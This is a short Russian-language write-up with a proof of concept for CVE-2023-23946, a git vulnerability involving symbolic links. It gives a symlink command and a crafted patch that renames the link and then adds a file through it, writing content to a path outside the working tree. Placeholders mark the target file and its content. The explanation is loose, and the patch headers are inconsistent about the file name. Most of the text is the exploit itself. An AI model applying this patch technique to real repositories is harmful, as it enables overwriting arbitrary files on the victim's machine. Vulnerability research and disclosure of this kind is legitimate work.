
Объяснение и POC для CVE-2023-23946
Объяснение и PoC уязвимости CVE-2023-23946
Уязвимость CVE-2023-23946 вызвана ошибкой в том, как git обрабатывает символические ссылки. Когда git создает символическую ссылку, он на самом деле не обрабатывает ее как символическую ссылку, и из-за этого мы можем использовать ее, чтобы указывать на файлы за пределами рабочего дерева.
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
Что делает патч? Мы меняем имя существующей символической ссылки и создаем новый файл. Таким образом, когда мы изменяем /newsymlink/[FILE_OUTSIDE], git не применяет свои защиты против символических ссылок.